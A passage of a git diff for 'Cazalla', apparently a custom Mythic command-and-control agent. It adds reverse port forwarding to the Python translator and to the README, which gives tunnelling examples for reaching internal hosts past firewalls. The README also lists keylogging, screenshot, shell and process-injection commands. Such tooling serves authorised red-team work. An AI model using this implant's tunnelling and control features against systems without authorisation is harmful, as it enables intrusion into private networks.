Encode an extension block for C agent: 0xF2 | [len] | [records] + # Each record: [Int32 server_id][Byte exit][Int32 b64len][b64][Int32 port] + extension = bytearray() + for r in rpfwd_list: + sid = int(r.get("server_id", 0)) + exitb = 1 if r.get("exit", False) else 0 + data_str = r.get("data") or "" + b64 = data_str.encode() if data_str else b"" + port = int(r.get("port", 0)) + data_preview = data_str[:50] if data_str else "(null)" + print(f"[TRANSLATOR] RPFWD: sid={sid} exit={exitb} b64_len={len(b64)} port={port} data={data_preview}") + extension += sid.to_bytes(4, "big") + extension += bytes([exitb]) + extension += len(b64).to_bytes(4, "big") + extension += b64 + extension += port.to_bytes(4, "big") + rpfwd_block = bytes([0xF2]) + len(extension).to_bytes(4, "big") + bytes(extension) + print(f"[TRANSLATOR] RPFWD block total: {len(rpfwd_block)} bytes (marker + len={5} + ext={len(extension)})") + response.Message += rpfwd_block + print(f"[TRANSLATOR] Final message with RPFWD: {len(response.Message)} bytes") elif inputMsg.Message["action"] == "post_response": print("[TRANSLATOR] Response POSTREP recibido de Mythic") @@ -187,6 +212,23 @@ class cazalla_translator(TranslationContainer): extension += len(b64).to_bytes(4, "big") extension += b64 response.Message += bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension) + + # Append RPFWD array if present from Mythic + rpfwd_list = inputMsg.Message.get("rpfwd", []) + if rpfwd_list: + extension = bytearray() + for r in rpfwd_list: + sid = int(r.get("server_id", 0)) + exitb = 1 if r.get("exit", False) else 0 + data_str = r.get("data") or "" + b64 = data_str.encode() if data_str else b"" + port = int(r.get("port", 0)) + extension += sid.to_bytes(4, "big") + extension += bytes([exitb]) + extension += len(b64).to_bytes(4, "big") + extension += b64 + extension += port.to_bytes(4, "big") + response.Message += bytes([0xF2]) + len(extension).to_bytes(4, "big") + bytes(extension) # ============================ # NUEVOS COMANDOS SOCKS @@ -210,6 +252,29 @@ class cazalla_translator(TranslationContainer): }] response.Message = responseTasking(tasks) + # ============================ + # NUEVOS COMANDOS RPFWD + # ============================ + elif inputMsg.Message["action"] == "start_rpfwd": + print("Response START_RPFWD") + # Construye un paquete de tipo "start_rpfwd" con el puerto local + local_port = int(inputMsg.Message.get("port", 8080)) + tasks = [{ + "command": "start_rpfwd", + "id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"), + "parameters": json.dumps({"port": local_port}) + }] + response.Message = responseTasking(tasks) + + elif inputMsg.Message["action"] == "stop_rpfwd": + print("Response STOP_RPFWD") + tasks = [{ + "command": "stop_rpfwd", + "id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"), + "parameters": "" + }] + response.Message = responseTasking(tasks) + # Apply encryption if needed (before sending to agent) if self._crypto_type == "aes256_hmac" and self._enc_key: print("[TRANSLATOR] Applying AES256-HMAC encryption before sending to agent") @@ -279,6 +344,69 @@ class cazalla_translator(TranslationContainer): return clean_data, socks_array + def extract_rpfwd_block(self, data): + """ + Extract RPFWD block (marker 0xF2) from agent message + Format: [0xF2 marker][ext_len:4][server_id:4][exit:1][b64_len:4][base64_data][port:4]... + Returns: (clean_data_without_rpfwd, rpfwd_array) + """ + rpfwd_array = [] + clean_data = data + + # Buscar el marcador 0xF2 + cursor = 0 + while cursor + 5 <= len(data): + if data[cursor] == 0xF2: + print(f"[TRANSLATOR] ¡Bloque RPFWD 0xF2 encontrado en offset {cursor}!") + # Leer longitud del bloque + ext_len = int.from_bytes(data[cursor+1:cursor+5], "big") + print(f"[TRANSLATOR] Longitud del bloque RPFWD: {ext_len} bytes") + + if cursor + 5 + ext_len > len(data): + print(f"[TRANSLATOR] ERROR: bloque RPFWD truncado") + break + + # Parsear cada registro RPFWD dentro del bloque + ecur = cursor + 5 + eend = cursor + 5 + ext_len + while ecur + 13 <= eend: # 4 (sid) + 1 (exit) + 4 (b64len) + 4 (port) = 13 + sid = int.from_bytes(data[ecur:ecur+4], "big") + exitf = data[ecur+4] + b64len = int.from_bytes(data[ecur+5:ecur+9], "big") + ecur += 9 + + if ecur + b64len + 4 > eend: # Need space for port too + print(f"[TRANSLATOR] ERROR: registro RPFWD truncado") + break + + # Extraer datos base64 + b64_data = None + if b64len > 0: + b64_data = data[ecur:ecur+b64len].decode('ascii') + + ecur += b64len + + # Leer puerto + port = int.from_bytes(data[ecur:ecur+4], "big") + ecur += 4 + + rpfwd_record = { + "server_id": sid, + "exit": bool(exitf), + "data": b64_data, + "port": port + } + rpfwd_array.append(rpfwd_record) + print(f"[TRANSLATOR] RPFWD record: sid={sid} exit={exitf} b64_len={b64len} port={port}") + + # Remover el bloque RPFWD del mensaje + clean_data = data[:cursor] + print(f"[TRANSLATOR] Bloque RPFWD extraído, {len(rpfwd_array)} registros encontrados") + break + cursor += 1 + + return clean_data, rpfwd_array + async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse: response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True) print("[TRANSLATOR] translate_from_c2_format called (Agent → Mythic)") @@ -288,22 +416,20 @@ class cazalla_translator(TranslationContainer): data = inputMsg.Message if self._crypto_type == "aes256_hmac" and self._enc_key: print("[TRANSLATOR] Decrypting message from agent...") - print(f"[TRANSLATOR] Encrypted message (hex): {binascii.hexlify(data[:100]).decode()}...") try: data = self.aes256_decrypt(data) print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes") - print(f"[TRANSLATOR] Decrypted message (hex): {binascii.hexlify(data[:100]).decode()}...") except Exception as e: print(f"[TRANSLATOR] ERROR: Decryption failed: {e}") response.Success = False response.Error = f"Decryption failed: {str(e)}" return response - else: - print("IMPLANT --> C2 : " + binascii.hexlify(data).decode('cp850')) + # Removed excessive hex dump - use debug logging if needed - # Extract SOCKS block if exists (after first command byte) + # Extract SOCKS and RPFWD blocks if exist (after first command byte) # Note: Now data is plaintext (decrypted if encryption was used) clean_data, socks_array = self.extract_socks_block(data[1:]) + clean_data, rpfwd_array = self.extract_rpfwd_block(clean_data) if data[0] == commands["checkin"]["hex_code"]: print("CHECK IN") @@ -316,18 +442,26 @@ class cazalla_translator(TranslationContainer): if socks_array: response.Message["socks"] = socks_array print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a GET TASKING") + # Agregar array RPFWD si existe + if rpfwd_array: + response.Message["rpfwd"] = rpfwd_array + print(f"[TRANSLATOR] Agregados {len(rpfwd_array)} registros RPFWD a GET TASKING") elif data[0] == commands["post_response"]["hex_code"]: print("POST RESPONSE") print(f"[DEBUG] POST_RESPONSE - data length: {len(data)} bytes") - print(f"[DEBUG] POST_RESPONSE - data[0:100] (hex): {binascii.hexlify(data[:100]).decode()}") + # Removed hex dump - use debug logging if needed print(f"[DEBUG] POST_RESPONSE - clean_data length: {len(clean_data)} bytes") - print(f"[DEBUG] POST_RESPONSE - clean_data[0:100] (hex): {binascii.hexlify(clean_data[:100] if len(clean_data) >= 100 else clean_data).decode()}") + # Removed hex dump - use debug logging if needed response.Message = postResponse(clean_data) # Agregar array SOCKS si existe if socks_array: response.Message["socks"] = socks_array print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a POST RESPONSE") + # Agregar array RPFWD si existe + if rpfwd_array: + response.Message["rpfwd"] = rpfwd_array + print(f"[TRANSLATOR] Agregados {len(rpfwd_array)} registros RPFWD a POST RESPONSE") # ============================ # NUEVOS COMANDOS SOCKS diff --git a/Payload_Type/cazalla/translator/utils.py b/Payload_Type/cazalla/translator/utils.py index 2be3a70..4f0298b 100644 --- a/Payload_Type/cazalla/translator/utils.py +++ b/Payload_Type/cazalla/translator/utils.py @@ -18,7 +18,7 @@ def getBytesWithSize(data): MAX_REASONABLE_SIZE = 100 * 1024 * 1024 if size > MAX_REASONABLE_SIZE: print(f"[WARN] getBytesWithSize: tamaño sospechoso ({size} bytes, max razonable: {MAX_REASONABLE_SIZE})") - print(f"[WARN] Primeros 16 bytes (hex): {data[:16].hex()}") + # Removed hex dump - use debug logging if needed # If size is suspicious, maybe it's actually a marker byte # Return empty output and keep all data as remaining return b"", data diff --git a/README.md b/README.md index 8c85e4b..91f28eb 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ - [Installation](#installation) - [Supported Commands](#supported-commands) - [SOCKS Proxy Support](#socks-proxy-support) +- [Reverse Port Forwarding (RPFWD) Support](#-reverse-port-forwarding-rpfwd-support) - [Communication Protocol](#communication-protocol) - [Configuration](#configuration) - [Process Browser Integration](#process-browser-integration) @@ -222,6 +223,7 @@ For more information, see the [Mythic documentation on customizing public agents | Command | Description | Example | |---------|-------------|---------| | `socks` | Start/stop SOCKS proxy | `socks {"action":"start","port":7002}` | +| `rpfwd` | Start/stop reverse port forwarding | `rpfwd {"action":"start","port":8080,"remote_host":"127.0.0.1","remote_port":80}` | --- @@ -337,6 +339,107 @@ Agent and translator communicate SOCKS data using a custom binary block: --- +## 🔄 Reverse Port Forwarding (RPFWD) Support + +Cazalla includes reverse port forwarding (RPFWD) support, allowing you to tunnel incoming connections from the agent to a remote destination through Mythic. + +### How It Works + +1. **Agent opens a listener** on a local port (e.g., `8080` on the agent host) +2. **External client connects** to the agent's listener port +3. **Agent sends connection data** to Mythic via RPFWD protocol +4. **Mythic connects** to the configured remote destination (`remote_host:remote_port`) +5. **Bidirectional relay** between client ↔ Agent ↔ Mythic ↔ Remote destination + +This is the **reverse** of a normal forward port: instead of connecting from Mythic to a remote service through the agent, connections originate from external clients to the agent and are tunneled to a remote destination. + +### Commands + +```bash +# Start reverse port forward on agent port 8080, forwarding to 127.0.0.1:80 +rpfwd {"action":"start","port":8080,"remote_host":"127.0.0.1","remote_port":80} + +# Stop reverse port forward +rpfwd {"action":"stop","port":8080} +``` + +### Use Cases + +- **Access internal services**: Expose internal services (e.g., database, web server) by having the agent listen on a port +- **Bypass firewall restrictions**: When you can't connect from Mythic but can connect to the agent +- **Service tunneling**: Tunnel arbitrary TCP services through the agent + +### Testing RPFWD + +**Important**: The agent listens on **its own host**, not on the Mythic server. To test: + +```bash +# From another machine or from the agent host itself: +nc -nzv 8080 + +# Or from the agent host: +nc -nzv 127.0.0.1 8080 +``` + +**Port Requirements**: +- **Non-privileged ports (>=1024)**: Recommended for normal users (e.g., `8080`, `4444`, `5555`) +- **Privileged ports (<1024)**: Require administrator privileges on Windows (e.g., `80`, `443`, `445`) +- If bind fails with `WSAError=10013`, the port requires admin privileges or is already in use + +### Example Scenarios + +#### Scenario 1: Expose Internal Web Server + +```bash +# Agent is on internal network with a web server at 192.168.1.100:80 +# Start RPFWD to tunnel external connections to the internal server +rpfwd {"action":"start","port":8080,"remote_host":"192.168.1.100","remote_port":80} + +# Now, connecting to agent:8080 will forward to 192.168.1.100:80 +curl http://:8080 +``` + +#### Scenario 2: Tunnel Database Access + +```bash +# Tunnel database connections through the agent +rpfwd {"action":"start","port":3306,"remote_host":"10.0.0.50","remote_port":3306} + +# Connect to MySQL through the agent (from another machine) +mysql -h -P 3306 -u user -p +``` + +### Technical Details + +#### Binary Protocol (0xF2 RPFWD Block) + +Agent and translator communicate RPFWD data using a custom binary block: + +``` +[0xF2] [ext_len:4] [server_id:4] [exit:1] [b64_len:4] [base64_data:N] [port:4] +``` + +- `0xF2`: RPFWD block marker +- `ext_len`: Total extension length (remaining bytes) +- `server_id`: Unique connection ID from Mythic +- `exit`: `1` if connection should close, `0` otherwise +- `b64_len`: Length of base64-encoded payload +- `base64_data`: Base64-encoded raw bytes (connection data) +- `port`: Local port on agent (optional, for connection tracking) + +#### Agent Implementation + +- **File**: `rpfwd_manager.c` / `rpfwd_manager.h` +- **Commands**: `0x62` (START_RPFWD), `0x63` (STOP_RPFWD) +- **Thread Model**: One listener thread + one reader thread per active connection +- **Socket Management**: Automatic cleanup of closed connections + +#### Artifacts + +- **Network Connection**: Automatically reported when RPFWD listener starts on a port + +--- + ## 📡 Communication Protocol Cazalla uses a custom binary protocol for efficient communication with Mythic. @@ -369,6 +472,7 @@ Cazalla uses a custom binary protocol for efficient communication with Mythic. | `0x80` | Agent → Mythic | GET_TASKING (request new tasks) | | `0x81` | Agent → Mythic | POST_RESPONSE (send task output) | | `0xF5` | Bidirectional | SOCKS data block | +| `0xF2` | Bidirectional | RPFWD data block | ### Task Structure @@ -383,6 +487,8 @@ Example command IDs: - `0x10`: List directory - `0x60`: Start SOCKS - `0x61`: Stop SOCKS +- `0x62`: Start RPFWD +- `0x63`: Stop RPFWD ### Encoding @@ -530,6 +636,8 @@ Cazalla automatically reports artifacts created during command execution, allowi - **API Call**: Reported for: - `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits) - `keylog_start` - Keyboard Hook (GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA) +- **Network Connection**: Reported for: + - `rpfwd start` - Reverse port forward listener started on port ### How It Works @@ -597,7 +705,7 @@ Currently supported: - `cat` - read-only file operation (doesn't create artifacts, but may report credentials) Future support can be added for: -- **Network Connection**: When network operations occur (e.g., for `socks` proxy connections) +- **Network Connection**: When network operations occur (e.g., for `socks` proxy connections) - **Note**: Currently implemented for `rpfwd` - **Registry Modification**: When registry keys are modified (e.g., `reg_set`, `reg_delete`) - **Process Inject**: When processes are injected into (e.g., `inject` command) @@ -638,6 +746,7 @@ Example implementations: - `download`: File Read artifact with downloaded file path - `screenshot`: API Call artifact for screen capture APIs - `keylog_start`: API Call artifact for keyboard hook APIs +- `rpfwd start`: Network Connection artifact for reverse port forward listener ### Best Practices for New Commands @@ -649,7 +758,7 @@ Example implementations: - Any command that creates, modifies, or deletes files (`cp`, `mkdir`, `rm`, `upload`, `download`) - Any command that executes processes (`shell`, `execute`, `inject`) - Any command that modifies registry (`reg_set`, `reg_delete`) -- Any command that creates network connections (`socks`, custom network commands) +- Any command that creates network connections (`socks`, `rpfwd`, custom network commands) - Any command that modifies system configuration ❌ **Commands that DON'T need artifacts:** @@ -1401,6 +1510,7 @@ Cazalla/ │ ├── paquete.c/h # Packet creation │ ├── transporte.c/h # HTTP transport (WinHTTP) │ ├── socks_manager.c/h # SOCKS proxy logic +│ ├── rpfwd_manager.c/h # Reverse port forwarding logic │ ├── procesos.c/h # Process listing (with Process Browser support) │ ├── crypto.c/h # AES-256-CBC encryption with HMAC-SHA256 │ ├── checkin.c/h # Initial check-in @@ -1410,6 +1520,7 @@ Cazalla/ │ ├── shell.py, sleep.py # Execution control │ ├── ps.py # Process listing (Process Browser enabled) │ ├── socks.py # SOCKS proxy command +│ ├── rpfwd.py # Reverse port forwarding command │ └── builder.py # Payload builder (with encryption support) ├── translator/ # Mythic ↔ Agent translation │ ├── translator.py # Main translator (with encryption support)